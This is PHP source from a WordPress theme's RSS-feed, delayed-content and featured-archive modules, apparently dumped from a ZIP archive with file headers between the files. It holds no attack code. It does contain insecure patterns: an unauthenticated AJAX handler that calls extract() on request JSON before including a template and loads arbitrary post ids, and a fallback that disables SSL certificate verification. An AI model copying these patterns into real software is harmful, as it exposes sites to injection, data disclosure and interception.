					$content .= empty( $item['item_description'] ) ? '' : sprintf( '<p>%s</p>', wp_kses_post( $item['item_description'] ) );
					$content .= '</div>';
					$content .= '</div>';

				
		
				} else {
					$content .= '</div>';
					$content .= '<div class="pcsl-flex-full">';
					$content .= '<div class="pcbg-pexcerpt pcsl-pexcerpt">';
					$content .= empty( $item['item_description'] ) ? '' : sprintf( '<p>%s</p>', wp_kses_post( $item['item_description'] ) );
					$content .= '</div>';
					$content .= '</div>';
					
				}

				
				
				
                $content .= '</div></div></div>';
			
		}
		$content .= '</div></div></div>';
		

		return $content;
	}

	public static function init_feed( $feed_url, $cache, $sc, $allow_https = true ) {
		$unit_defaults = array(
			'mins'  => MINUTE_IN_SECONDS,
			'hours' => HOUR_IN_SECONDS,
			'days'  => DAY_IN_SECONDS,
		);
		$cache_time    = 12 * HOUR_IN_SECONDS;
		$cache         = trim( $cache );
		if ( isset( $cache ) && '' !== $cache ) {
			list( $value, $unit ) = explode( '_', $cache );
			if ( isset( $value ) && is_numeric( $value ) && $value >= 1 && $value <= 100 ) {
				if ( isset( $unit ) && in_array( strtolower( $unit ), array( 'mins', 'hours', 'days' ), true ) ) {
					$cache_time = $value * $unit_defaults[ $unit ];
				}
			}
		}

		$feed = new Penci_SimplePie( $sc );
		if ( ! $allow_https && method_exists( $feed, 'set_curl_options' ) ) {
			$feed->set_curl_options(
				array(
					CURLOPT_SSL_VERIFYHOST => false,
					CURLOPT_SSL_VERIFYPEER => false,
				)
			);
		}
		require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php';
		require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php';

		$feed->set_file_class( 'WP_SimplePie_File' );
		$default_agent = self::get_default_user_agent( $feed_url );
		$feed->set_useragent( apply_filters( 'http_headers_useragent', $default_agent ) );
		if ( false === apply_filters( 'penci_rss_feed_disable_db_cache', false, $feed_url ) ) {
			SimplePie_Cache::register( 'wp_transient', 'WP_Feed_Cache_Transient' );
			$feed->set_cache_location( 'wp_transient' );
			if ( ! has_filter( 'wp_feed_cache_transient_lifetime' ) ) {
				add_filter(
					'wp_feed_cache_transient_lifetime',
					function ( $time ) use ( $cache_time ) {
						return $cache_time;
					},
					10,
					1
				);
			}
			$feed->set_cache_duration( apply_filters( 'wp_feed_cache_transient_lifetime', $cache_time, $feed_url ) );
		} else {
			require_once ABSPATH . 'wp-admin/includes/file.php';
			WP_Filesystem();
			global $wp_filesystem;

			$dir = $wp_filesystem->wp_content_dir() . 'uploads/simplepie';
			if ( ! $wp_filesystem->exists( $dir ) ) {
				$done = $wp_filesystem->mkdir( $dir );
				
			}
			$feed->set_cache_location( $dir );
		}

		// Do not use force_feed for multiple URLs.
		$feed->force_feed( apply_filters( 'penci_rss_feed_force_feed', ( is_string( $feed_url ) || ( is_array( $feed_url ) && 1 === count( $feed_url ) ) ) ) );

		do_action( 'penci_rss_feed_modify_feed_config', $feed );

		$cloned_feed = clone $feed;

		// set the url as the last step, because we need to be able to clone this feed without the url being set
		// so that we can fall back to raw data in case of an error.
		$feed->set_feed_url( $feed_url );

		if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
			$set_server_agent = sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) );
			$feed->set_useragent( apply_filters( 'http_headers_useragent', $set_server_agent ) );
		}

		global $penci_rss_feed_current_error_reporting;
		$penci_rss_feed_current_error_reporting = error_reporting();

		// to avoid the Warning! Non-numeric value encountered. This can be removed once SimplePie in core is fixed.
		if ( version_compare( phpversion(), '7.1', '>=' ) ) {
			error_reporting( E_ALL & ~E_WARNING & ~E_DEPRECATED );
			// reset the error_reporting back to its original value.
			add_action(
				'shutdown',
				function () {
					global $penci_rss_feed_current_error_reporting;
					error_reporting( $penci_rss_feed_current_error_reporting );
				}
			);
		}

		$feed->init();

		if ( ! $feed->get_type() ) {
			return $feed;
		}

		$error = $feed->error();
		// error could be an array, so let's join the different errors.
		if ( is_array( $error ) ) {
			$error = implode( '|', $error );
		}

		if ( ! empty( $error ) ) {

			// curl: (60) SSL certificate problem: unable to get local issuer certificate
			if ( strpos( $error, 'SSL certificate' ) !== false ) {
				$feed = self::init_feed( $feed_url, $cache, $sc, false );
			} elseif ( is_string( $feed_url ) || ( is_array( $feed_url ) && 1 === count( $feed_url ) ) ) {
				$data = wp_remote_retrieve_body( wp_safe_remote_get( $feed_url, array( 'user-agent' => $default_agent ) ) );
				$cloned_feed->set_raw_data( $data );
				$cloned_feed->init();
				$error_raw = $cloned_feed->error();
				if ( empty( $error_raw ) ) {
					// only if using the raw url produces no errors, will we consider the new feed as good to go.
					// otherwise we will use the old feed.
					$feed = $cloned_feed;
				}
			}
		}

		return $feed;
	}

	private static function get_feed_title_filter( $feed, $sc, $feed_url ) {
		return array(
			'rss_url'               => $feed->get_permalink(),
			'rss_title_class'       => 'rss_title',
			'rss_title'             => html_entity_decode( $feed->get_title() ),
			'rss_description_class' => 'rss_description',
			'rss_description'       => $feed->get_description(),
			'rss_classes'           => array(
				$sc['classname'],
				'pcrss-' . md5( is_array( $feed_url ) ? implode( ', ', $feed_url ) : $feed_url )
			),
		);
	}

	private static function get_default_user_agent( $urls ) {

		$set = array();
		if ( ! is_array( $urls ) ) {
			$set[] = $urls;
		}
		foreach ( $set as $url ) {
			if ( strpos( $url, 'medium.com' ) !== false ) {
				return 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36';
			}
		}

		return SIMPLEPIE_USERAGENT;
	}

	protected function get_valid_source_urls( $feed_url, $cache, $echo = true ) {
		$valid_feed_url = array();
		if ( is_array( $feed_url ) ) {
			foreach ( $feed_url as $url ) {
				$source_type = 'xml';
				if ( self::check_valid_source( $url, $cache, $source_type ) ) {
					$valid_feed_url[] = $url;
				} else {
					if ( $echo ) {
						echo wp_kses_post( sprintf( __( 'Feed URL: %s not valid and removed from fetch.', 'soledad' ), '<b>' . esc_url( $url ) . '</b>' ) );
					}
				}
			}
		} else {
			$source_type = 'xml';
			if ( self::check_valid_source( $feed_url, $cache, $source_type ) ) {
				$valid_feed_url[] = $feed_url;
			} else {
				if ( $echo ) {
					echo wp_kses_post( sprintf( __( 'Feed URL: %s not valid and removed from fetch.', 'soledad' ), '<b>' . esc_url( $feed_url ) . '</b>' ) );
				}
			}
		}

		return $valid_feed_url;
	}

	protected function check_valid_source( $url, $cache, $source_type = 'xml' ) {
		global $post;

		// phpcs:disable WordPress.Security.NonceVerification
		if ( null === $post && ! empty( $_POST['id'] ) ) {
			$post_id = (int) $_POST['id'];
		} else {
			$post_id = $post->ID;
		}
		$is_valid = true;

		$feed = self::init_feed( $url, $cache, array() );
		if ( $feed->error() ) {
			$is_valid = false;
		}
		// phpcs:ignore WordPress.Security.NonceVerification
		if ( isset( $_POST['penci_rss_feed_meta_data']['import_link_author_admin'] ) && 'yes' === $_POST['penci_rss_feed_meta_data']['import_link_author_admin'] ) {
			if ( $feed->get_items() ) {
				$author = $feed->get_items()[0]->get_author();
				if ( empty( $author ) ) {
					update_post_meta( $post_id, '__transient_penci_rss_feed_invalid_dc_namespace', array( $url ) );
					$is_valid = false;
				}
			}
		}

		// Update source type.
		update_post_meta( $post_id, '__penci_rss_feed_source_type', $source_type );

		return $is_valid;
	}

	public static function get_feed_array( $feed_items, $sc, $feed, $feed_url, $sizes ) {
		$count = 0;
		$items = apply_filters( 'penci_rss_feed_feed_items', $feed->get_items( $sc['offset'] ), $feed_url );
		$index = 0;
		foreach ( (array) $items as $item ) {
			$continue = self::item_additional_filter( true, $sc, $item, $feed_url, $index );
			if ( true === $continue ) {
				// Count items. This should be > and not >= because max, when not defined and empty, becomes 0.
				if ( $count >= $sc['max'] ) {
					break;
				}
				$item_attr            = apply_filters( 'penci_rss_feed_item_attributes', $item_attr = '', $sizes, $item, $feed_url, $sc, $index );
				$feed_items[ $count ] = self::get_feed_item_filter( $sc, $sizes, $item, $feed_url, $count, $index );
				if ( isset( $sc['disable_default_style'] ) && 'yes' === $sc['disable_default_style'] ) {
					$item_attr = preg_replace( '/ style=\\"[^\\"]*\\"/', '', $item_attr );
				}
				$feed_items[ $count ]['itemAttr'] = $item_attr;
				$count ++;
			}
			$index ++;
		}

		return $feed_items;
	}

	private static function get_feed_item_filter( $sc, $sizes, $item, $feed_url, $index, $item_index ) {
		$item_link = $item->get_permalink();
		// if the item has no link (possible in some cases), use the feed link.
		if ( empty( $item_link ) ) {
			$item_link = $item->get_id();
			if ( empty( $item_link ) ) {
				$item_link = $item->get_feed()->get_permalink();
			}
		}
		$new_link = apply_filters( 'penci_rss_feed_item_url_filter', $item_link, $sc, $item );
		
		$content_title = html_entity_decode( $item->get_title(), ENT_QUOTES, 'UTF-8' );
		if ( is_numeric( $sc['title'] ) ) {
			$length = intval( $sc['title'] );
			if ( 0 === $length ) {
				$content_title = '';
			}
			if ( $length > 0 && strlen( $content_title ) > $length ) {
				$content_title = preg_replace( '/\s+?(\S+)?$/', '', substr( $content_title, 0, $length ) ) . '...';
			}
		}
		if ( ! is_numeric( $sc['title'] ) && empty( $content_title ) ) {
			$content_title = esc_html__( 'Post Title', 'soledad' );
		}
		$content_title = apply_filters( 'penci_rss_feed_title_output', $content_title, $feed_url, $item );

		// meta=yes is for backward compatibility, otherwise its always better to provide the fields with granularity.
		// if meta=yes, then meta will be placed in default order. Otherwise in the order stated by the user.
		$meta_args = array(
			'author'      => 'yes' === $sc['meta'] || strpos( $sc['meta'], 'author' ) !== false,
			'date'        => 'yes' === $sc['meta'] || strpos( $sc['meta'], 'date' ) !== false,
			'time'        => 'yes' === $sc['meta'] || strpos( $sc['meta'], 'time' ) !== false,
			'source'      => 'yes' === $sc['multiple_meta'] || strpos( $sc['multiple_meta'], 'source' ) !== false,
			'categories'  => strpos( $sc['meta'], 'categories' ) !== false,
			'tz'          => 'gmt',
			'date_format' => get_option( 'date_format' ),
			'time_format' => get_option( 'time_format' ),
		);

		// parse the x=y type setting e.g. tz=local or tz=gmt.
		if ( strpos( $sc['meta'], '=' ) !== false ) {
			$components = array_map( 'trim', explode( ',', $sc['meta'] ) );
			foreach ( $components as $configs ) {
				if ( strpos( $configs, '=' ) === false ) {
					continue;
				}
				$config                  = explode( '=', $configs );
				$meta_args[ $config[0] ] = $config[1];
			}
		}

		// Filter: penci_rss_feed_meta_args.
		$meta_args = apply_filters( 'penci_rss_feed_meta_args', $meta_args, $feed_url, $item );

		// order of the meta tags.
		$meta_order = array( 'author', 'date', 'time', 'categories' );
		if ( 'yes' !== $sc['meta'] ) {
			$meta_order = array_map( 'trim', explode( ',', $sc['meta'] ) );
		}

		$content_meta_values = array();

		// multiple sources?
		$is_multiple = is_array( $feed_url );

		$feed_source = $item->get_feed()->get_title();
		// author.
		if ( $item->get_author() && $meta_args['author'] ) {
			$author      = $item->get_author();
			$author_name = $author->get_name();
			if ( ! $author_name ) {
				$author_name = $author->get_email();
			}

			$author_name = apply_filters( 'penci_rss_feed_author_name', $author_name, $feed_url, $item );

			if ( $is_multiple && $meta_args['source'] && ! empty( $feed_source ) ) {
				$author_name .= sprintf( ' (%s)', $feed_source );
			}

			if ( $author_name ) {
				$domain                        = wp_parse_url( $new_link );
				$author_url                    = isset( $domain['host'] ) ? '//' . $domain['host'] : '';
				$author_url                    = apply_filters( 'penci_rss_feed_author_url', $author_url, $author_name, $feed_url, $item );
				$content_meta_values['author'] = apply_filters( 'penci_rss_feed_meta_author', __( 'by', 'soledad' ) . ' <a href="' . $author_url . '" target="' . $sc['target'] . '" title="' . $domain['host'] . '" >' . $author_name . '</a> ', $author_name, $author_url, $feed_source, $feed_url, $item );
			}
		} elseif ( $is_multiple && $meta_args['source'] && ! empty( $feed_source ) ) {
			$domain                        = wp_parse_url( $new_link );
			$author_url                    = isset( $domain['host'] ) ? '//' . $domain['host'] : '';
			$author_url                    = apply_filters( 'penci_rss_feed_author_url', $author_url, $feed_source, $feed_url, $item );
			$content_meta_values['author'] = apply_filters( 'penci_rss_feed_meta_author', __( 'by', 'soledad' ) . ' <a href="' . $author_url . '" target="' . $sc['target'] . '" title="' . $domain['host'] . '" >' . $feed_source . '</a> ', $feed_source, $author_url, $feed_source, $feed_url, $item );
		}

		// date/time.
		$date_time = $item->get_date( 'U' );
		if ( 'local' === $meta_args['tz'] ) {
			$date_time = get_date_from_gmt( $item->get_date( 'Y-m-d H:i:s' ), 'U' );
			// strings such as Asia/Kolkata need special handling.
			$tz = get_option( 'timezone_string' );
			if ( $tz ) {
				$date_time = gmdate( 'U', $date_time + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
			}
		} elseif ( 'no' === $meta_args['tz'] ) {
			// change the tz component of the date to UTC.
			$raw_date  = preg_replace( '/\++(\d\d\d\d)/', '+0000', $item->get_date( '' ) );
			$date      = DateTime::createFromFormat( DATE_RFC2822, $raw_date );
			$date_time = $date->format( 'U' );
		}

		$date_time = apply_filters( 'penci_rss_feed_feed_timestamp', $date_time, $feed_url, $item );
		if ( $meta_args['date'] && ! empty( $meta_args['date_format'] ) ) {
			$content_meta_values['date'] = apply_filters( 'penci_rss_feed_meta_date', __( 'on', 'soledad' ) . ' ' . date_i18n( $meta_args['date_format'], $date_time ) . ' ', $date_time, $feed_url, $item );
		}

		if ( $meta_args['time'] && ! empty( $meta_args['time_format'] ) ) {
			$content_meta_values['time'] = apply_filters( 'penci_rss_feed_meta_time', __( 'at', 'soledad' ) . ' ' . date_i18n( $meta_args['time_format'], $date_time ) . ' ', $date_time, $feed_url, $item );
		}

		// categories.
		if ( $meta_args['categories'] ) {
			$categories = self::retrieve_categories( null, $item );
			if ( ! empty( $categories ) ) {
				$content_meta_values['categories'] = apply_filters( 'penci_rss_feed_meta_categories', __( 'in', 'soledad' ) . ' ' . $categories . ' ', $categories, $feed_url, $item );
			}
		}

		$content_meta      = '';
		$content_meta_date = '';
		foreach ( $meta_order as $meta ) {
			if ( isset( $content_meta_values[ $meta ] ) ) {
				// collect date/time values separately too.
				if ( in_array( $meta, array( 'date', 'time' ), true ) ) {
					$content_meta_date .= $content_meta_values[ $meta ];
				}
				$content_meta .= $content_meta_values[ $meta ];
			}
		}

		$content_meta    = apply_filters( 'penci_rss_feed_meta_output', $content_meta, $feed_url, $item, $content_meta_values, $meta_order );
		$content_summary = '';
		if ( 'yes' === $sc['summary'] ) {
			$description     = $item->get_description();
			$description     = apply_filters( 'penci_rss_feed_summary_input', $description, $item->get_content(), $feed_url, $item );
			$content_summary = $description;
			if ( is_numeric( $sc['summarylength'] ) && strlen( $description ) > $sc['summarylength'] ) {
				$content_summary = preg_replace( '/\s+?(\S+)?$/', '', substr( $description, 0, $sc['summarylength'] ) ) . ' [&hellip;]';
			}
			$content_summary = apply_filters( 'penci_rss_feed_summary_output', $content_summary, $new_link, $feed_url, $item );
		}
		$item_content = $item->get_content( false );
		if ( empty( $item_content ) ) {
			$item_content = esc_html__( 'Post Content', 'soledad' );
		}
		$item_array = array(
			'feed_url'              => $item->get_feed()->subscribe_url(),
			'item_unique_hash'      => wp_hash( $item->get_permalink() ),
			'item_url'              => $new_link,
			'item_url_target'       => $sc['target'],
			'item_url_follow'       => isset( $sc['follow'] ) && 'yes' === $sc['follow'] ? 'nofollow' : '',
			'item_url_title'        => $item->get_title(),
			'item_img_path'         => self::penci_rss_feed_retrieve_image( $item, $sc ),
			'item_title'            => $content_title,
			'item_content_class'    => 'rss_content',
			'item_content_style'    => '',
			'item_meta'             => $content_meta,
			'item_date'             => $item->get_date( 'U' ),
			'item_date_formatted'   => $content_meta_date,
			'item_author'           => $item->get_author(),
			'item_description'      => $content_summary,
			'item_content'          => apply_filters( 'penci_rss_feed_content', $item_content, $item ),
			'item_source'           => $feed_source,
			'item_full_description' => $item->get_description(),
		);
		$item_array = apply_filters( 'penci_rss_feed_item_filter', $item_array, $item, $sc, $index, $item_index );

		return $item_array;
	}

	public static function retrieve_categories( $dumb, $item ) {
		$cats       = array();
		$categories = $item->get_categories();
		if ( $categories ) {
			foreach ( $categories as $category ) {
				if ( is_string( $category ) ) {
					$cats[] = $category;
				} else {
					$cats[] = $category->get_label();
				}
			}
		}

		return apply_filters( 'penci_rss_feed_categories', implode( ', ', $cats ), $cats, $item );
	}

	public static function penci_rss_feed_retrieve_image( $item, $sc = null ) {
		$image_mime_types = array();
		foreach ( wp_get_mime_types() as $extn => $mime ) {
			if ( strpos( $mime, 'image/' ) !== false ) {
				$image_mime_types[] = $mime;
			}
		}

		$image_mime_types = apply_filters( 'penci_rss_feed_image_mime_types', $image_mime_types );

		$the_thumbnail = '';
		$enclosures    = $item->get_enclosures();
		if ( $enclosures ) {
			foreach ( (array) $enclosures as $enclosure ) {
				// Item thumbnail.
				$thumbnail = $enclosure->get_thumbnail();
				$medium    = $enclosure->get_medium();
				if ( in_array( $medium, array( 'video' ), true ) ) {
					break;
				}
				if ( $thumbnail ) {
					$the_thumbnail = $thumbnail;
				}
				if ( isset( $enclosure->thumbnails ) ) {
					foreach ( (array) $enclosure->thumbnails as $thumbnail ) {
						$the_thumbnail = $thumbnail;
					}
				}
				$thumbnail = $enclosure->embed();
				if ( $thumbnail ) {
					$pattern = '/https?:\/\/.*\.(?:jpg|JPG|jpeg|JPEG|jpe|JPE|gif|GIF|png|PNG)/i';
					if ( preg_match( $pattern, $thumbnail, $matches ) ) {
						$the_thumbnail = $matches[0];
					}
				}
				foreach ( (array) $enclosure->get_link() as $thumbnail ) {
					$pattern = '/https?:\/\/.*\.(?:jpg|JPG|jpeg|JPEG|jpe|JPE|gif|GIF|png|PNG)/i';
					$imgsrc  = $thumbnail;
					if ( preg_match( $pattern, $imgsrc, $matches ) ) {
						$the_thumbnail = $thumbnail;
						break;
					} elseif ( in_array( $enclosure->type, $image_mime_types, true ) ) {
						$the_thumbnail = $thumbnail;
						break;
					}
				}
				// Break loop if thumbnail is found.
				if ( ! empty( $the_thumbnail ) ) {
					break;
				}
			}
		}
		// xmlns:itunes podcast.
		if ( empty( $the_thumbnail ) ) {
			$data = $item->get_item_tags( 'http://www.itunes.com/dtds/podcast-1.0.dtd', 'image' );
			if ( isset( $data['0']['attribs']['']['href'] ) && ! empty( $data['0']['attribs']['']['href'] ) ) {
				$the_thumbnail = $data['0']['attribs']['']['href'];
			}
		}
		// Content image.
		if ( empty( $the_thumbnail ) ) {
			$feed_description = $item->get_content();
			$the_thumbnail    = self::penci_rss_feed_return_image( $feed_description );
		}
		// Description image.
		if ( empty( $the_thumbnail ) ) {
			$feed_description = $item->get_description();
			$the_thumbnail    = self::penci_rss_feed_return_image( $feed_description );
		}

		// handle HTTP images.
		if ( $sc && isset( $sc['http'] ) && 0 === strpos( $the_thumbnail, 'http://' ) ) {
			switch ( $sc['http'] ) {
				case 'https':
					// fall-through.
				case 'force':
					$the_thumbnail = str_replace( 'http://', 'https://', $the_thumbnail );
					break;
				case 'default':
					$the_thumbnail = $sc['default'];
					break;
			}
		}

		$the_thumbnail = html_entity_decode( $the_thumbnail, ENT_QUOTES, 'UTF-8' );
		if ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) {
			$feed_url      = self::normalize_urls( $sc['feeds'] );
			$the_thumbnail = ! empty( $the_thumbnail ) ? $the_thumbnail : apply_filters( 'penci_rss_feed_default_image', $sc['default'], $feed_url );
		}
		$the_thumbnail = apply_filters( 'penci_rss_feed_retrieve_image', $the_thumbnail, $item );

		return $the_thumbnail;
	}

	public static function penci_rss_feed_return_image( $string ) {
		$img     = html_entity_decode( $string, ENT_QUOTES, 'UTF-8' );
		$pattern = '/<img[^>]+\>/i';
		preg_match_all( $pattern, $img, $matches );

		$image = null;
		if ( isset( $matches[0] ) ) {
			foreach ( $matches[0] as $match ) {
				$link         = self::penci_rss_feed_scrape_image( $match );
				$blacklist    = self::penci_rss_feed_blacklist_images();
				$is_blacklist = false;
				foreach ( $blacklist as $string ) {
					if ( strpos( (string) $link, $string ) !== false ) {
						$is_blacklist = true;
						break;
					}
				}
				if ( ! $is_blacklist ) {
					$image = $link;
					break;
				}
			}
		}

		return $image;
	}

	public static function penci_rss_feed_scrape_image( $string, $link = '' ) {
		$pattern = '/< *img[^>]*src *= *["\']?([^"\']*)/';
		$match   = $link;
		preg_match( $pattern, $string, $link );
		if ( ! empty( $link ) && isset( $link[1] ) ) {
			$match = $link[1];
		}

		return $match;
	}

	public static function penci_rss_feed_blacklist_images() {
		$blacklist = array(
			'frownie.png',
			'icon_arrow.gif',
			'icon_biggrin.gif',
			'icon_confused.gif',
			'icon_cool.gif',
			'icon_cry.gif',
			'icon_eek.gif',
			'icon_evil.gif',
			'icon_exclaim.gif',
			'icon_idea.gif',
			'icon_lol.gif',
			'icon_mad.gif',
			'icon_mrgreen.gif',
			'icon_neutral.gif',
			'icon_question.gif',
			'icon_razz.gif',
			'icon_redface.gif',
			'icon_rolleyes.gif',
			'icon_sad.gif',
			'icon_smile.gif',
			'icon_surprised.gif',
			'icon_twisted.gif',
			'icon_wink.gif',
			'mrgreen.png',
			'rolleyes.png',
			'simple-smile.png',
			'//s.w.org/images/core/emoji/',
		);

		return apply_filters( 'penci_rss_feed_feed_blacklist_images', $blacklist );
	}

	public static function penci_rss_feed_image_encode( $string ) {
		// Check if img url is set as an URL parameter.
		$url_tab = wp_parse_url( $string );
		if ( isset( $url_tab['query'] ) ) {
			preg_match_all( '/(http|https):\/\/[^ ]+(\.gif|\.GIF|\.jpg|\.JPG|\.jpeg|\.JPEG|\.png|\.PNG)/', $url_tab['query'], $img_url );
			if ( isset( $img_url[0][0] ) ) {
				$string = $img_url[0][0];
			}
		}

		$return = apply_filters( 'penci_rss_feed_image_encode', esc_url( $string ), $string );

		return $return;
	}
	public static function item_additional_filter( $continue, $sc, $item, $feed_url ) {
		$keywords_ban = $sc['keywords_ban'];
		if ( ! empty( $keywords_ban ) ) {
			foreach ( $keywords_ban as $keyword ) {
				if ( strpos( $item->get_title(), $keyword ) !== false || strpos( $item->get_content(), $keyword ) !== false ) {
					$continue = false;
				}
			}
		}

		if ( ! empty( $sc['keywords_inc'] ) || ! empty( $sc['keywords_title'] ) ) {
			return $continue;
		}

		if ( ! empty( $sc['keywords_exc'] ) || ! empty( $sc['keywords_ban'] ) ) {
			return $continue;
		}

		// Date filter.
		if ( $continue && ! empty( $sc['from_datetime'] ) && ! empty( $sc['to_datetime'] ) ) {
			$from_datetime = strtotime( $sc['from_datetime'] );
			$to_datetime   = strtotime( $sc['to_datetime'] );
			$item_date     = strtotime( $item->get_date() );
			$continue      = ( ( $from_datetime <= $item_date ) && ( $item_date <= $to_datetime ) );
		}

		return $continue;
	}

	public static function get_feed_url( $feeds ) {
		$feed_url = '';
		if ( ! empty( $feeds ) ) {
			$feeds    = rtrim( $feeds, ',' );
			$feeds    = explode( ',', $feeds );
			$feed_url = array();
			// Remove SSL from HTTP request to prevent fetching errors.
			foreach ( $feeds as $feed ) {
				$feed = trim( $feed );
				// scheme-less URLs.
				if ( strpos( $feed, 'http' ) !== 0 ) {
					$feed = 'http://' . $feed;
				}

				if ( is_array( $feed ) ) {
					foreach ( $feed as $f ) {
						$feed_url[] = $f;
					}
				} else {
					$feed_url[] = $feed;
				}
			}
			if ( count( $feed_url ) === 1 ) {
				$feed_url = $feed_url[0];
			}
		}

		return $feed_url;
	}
}PK     2w\      delayed_div.phpnu [        <?php
if ( ! function_exists( 'penci_delayed_div_condition' ) ) {
	function penci_delayed_div_condition() {

		$attr = [];

		$name = $id = '';

		if ( is_home() || is_front_page() ) {
			$name = 'home';
		} elseif ( is_page() ) {
			$name = 'page';
		} elseif ( is_singular() ) {
			$name = 'single';
		} elseif ( is_category() ) {
			$name = 'category';
		} elseif ( is_tag() ) {
			$name = 'tag';
		} elseif ( is_search() ) {
			$name = 'search';
		} elseif ( is_tax() ) {
			$name = 'tax';
		} elseif ( is_archive() ) {
			$name = 'archive';
		}

		if ( is_page() || is_single() || is_singular() ) {
			$id = get_the_ID();
		}

		if ( is_tag() || is_category() ) {
			$id = get_queried_object_id();
		}

		if ( $id ) {
			$attr[] = 'data-delayed-id="' . $id . '"';
		}

		if ( $name ) {
			$attr[] = 'data-delayed-con="' . $name . '"';
		}

		if ( $attr ) {
			return implode( ' ', $attr );
		}

	}
}

if ( ! function_exists( 'penci_delayed_div_content' ) ) {
	add_action( 'wp_ajax_penci_delayed_div_content', 'penci_delayed_div_content' );
	add_action( 'wp_ajax_nopriv_penci_delayed_div_content', 'penci_delayed_div_content' );
	function penci_delayed_div_content() {
		$type     = isset( $_REQUEST['type'] ) ? $_REQUEST['type'] : '';
		$id       = isset( $_REQUEST['id'] ) ? $_REQUEST['id'] : '';
		$settings = isset( $_REQUEST['settings'] ) ? wp_unslash( $_REQUEST['settings'] ) : [];
		$class    = isset( $_REQUEST['class'] ) ? $_REQUEST['class'] : 'pc-block-content';
		$blogid   = get_current_blog_id();

		$unqiue_name = 'pcdelayed_' . $blogid . strtolower( $type . $id . $class );

		$cache_data = get_transient( $unqiue_name );

		$cache_data = '';

		$html = '';

		if ( $cache_data ) {
			$html = $cache_data;
		} else {

			if ( $type == 'block' ) {
				$content = get_post( $id );

				if ( $content ) {
					if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $id )->is_built_with_elementor() ) {
						$html .= '<div class="' . esc_attr( $class ) . '">';
						$html .= penci_get_elementor_content( $id );
						$html .= '</div>';
					} else {
						$html .= '<div class="' . esc_attr( $class ) . ' js-composer-content">';
						$html .= do_shortcode( $content->post_content );

						$shortcodes_custom_css = get_post_meta( $id, '_wpb_shortcodes_custom_css', true );

						$html .= '<style data-type="vc_shortcodes-custom-css">';
						if ( ! empty( $shortcodes_custom_css ) ) {
							$html .= $shortcodes_custom_css;
						}
						$html .= '</style>';
						$html .= '</div>';
					}
				}
			} else if ( $type == 'template-footer' ) {
				ob_start();
				extract( json_decode( $settings, true ) );
				include PENCI_SOLEDAD_DIR . '/template-parts/footer/footer-main.php';
				$html = ob_get_clean();
			}

			set_transient( $unqiue_name, $html );

		}

		wp_send_json_success( [ 'html' => $html ] );
	}
}

add_action( 'save_post', 'penci_delayed_clear_cache' );
add_action( 'wp_update_post', 'penci_delayed_clear_cache' );
add_action( 'customize_save_after', 'penci_delayed_clear_cache' );
function penci_delayed_clear_cache() {
	global $wpdb;

	$blogid = get_current_blog_id();

	$transients = (array) $wpdb->get_results( "SELECT `option_name` FROM {$wpdb->options} WHERE `option_name` LIKE 'pcdelayed_{$blogid}_%'", ARRAY_A );

	foreach ( $transients as $transient ) {
		$transient = str_replace( '_transient_', '', $transient['option_name'] );
		\delete_transient( $transient );
	}
}

add_filter( 'template_include', function( $template ) {
	if ( is_singular() && isset($_REQUEST['penci_get_delayed_sections'])  ) {
		if ( $_REQUEST['penci_get_delayed_sections'] == 'sections' ) {
			$template = locate_template( array( 'template-parts/single-sections.php' ) );
		} else if ( $_REQUEST['penci_get_delayed_sections'] == 'sidebar' ) {
			$template = locate_template( array( 'template-parts/single-sidebar.php' ) );
		} else if ( $_REQUEST['penci_get_delayed_sections'] == 'mobile_nav' ) {
			$template = locate_template( array( 'template-parts/header/vertical-nav.php' ) );
		} else if ( $_REQUEST['penci_get_delayed_sections'] == 'content' ) {
			$template = locate_template( array( 'template-parts/single-content.php' ) );
		}
		
	}
	return $template;
}, 99 );PK     2w\y3^  3^    featured_archive_posts.phpnu [        <?php
// get settings
if ( ! function_exists( 'penci_featured_archive_posts_content' ) ) {
	add_action( 'penci_featured_archive_posts', 'penci_featured_archive_posts_content' );
	function penci_featured_archive_posts_content() {
		$penci_featured_layout     = '';
		$penci_cat_featured_layout = get_theme_mod( 'penci_cat_featured_layout', '' );
		$penci_tag_featured_layout = get_theme_mod( 'penci_tag_featured_layout', '' );

		if ( is_category() && $penci_cat_featured_layout ) {
			$penci_featured_layout = $penci_cat_featured_layout;
		}

		if ( is_tag() && $penci_tag_featured_layout ) {
			$penci_featured_layout = $penci_tag_featured_layout;
		}

		$grid_per_page = penci_featured_archive_ppl( $penci_featured_layout );

		if ( $penci_featured_layout ) {


			$biggid_style = $penci_featured_layout;
			// setup biggrid style
			$wrapper_class = $data_class = '';
			$flag_style    = false;
			if ( in_array( $penci_featured_layout, [
				'style-1 penci-grid-col-2',
				'style-1 penci-grid-col-3',
				'style-1 penci-grid-col-4',
				'style-1 penci-grid-col-5'
			] ) ) {
				$data_class   .= ' penci-dflex';
				$biggid_style = 'style-1';
			} else {
				$data_class .= ' penci-dblock';
				$flag_style = true;
				$data_class .= ' penci-fixh';
			}

			$two_sidebar_class = '';
			$sidebar_position  = penci_get_sidebar_position_archive();
			if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;

			$wrapper_class .= ' container biggrid-archive-wrapper';
			$wrapper_class .= $two_sidebar_class;

			$wrapper_class .= is_category() ? ' biggrid-cat-wrapper' : ' biggrid-tag-wrapper';

			$wrapper_class .= ' penci-bgrid-based-post penci-bgrid-' . $penci_featured_layout . ' pcbg-ficonpo-top-right pcbg-reiconpo-top-left penci-bgrid-content-on pencibg-imageh-zoom-in pencibg-texth-none pencibg-textani-movetop';

			if ( get_theme_mod( 'penci_arcf_mmeta' ) ) {
				$wrapper_class .= ' hide-mdesc';
			}

			if ( get_theme_mod( 'penci_arcf_mcat' ) ) {
				$wrapper_class .= ' hide-msubtitle';
			}

			$featured_posts = new WP_Query( penci_get_query_archive_first_posts_featured() );
			$big_items      = penci_big_grid_is_big_items( $biggid_style );

			//gettings category settings
			$post_meta      = [ 'title', 'cat', 'date' ];
			$disable_lazy   = get_theme_mod( 'penci_disable_lazyload_layout' );
			$show_reviewpie = true;

			if ( get_theme_mod( 'penci_review_hide_piechart' ) ) {
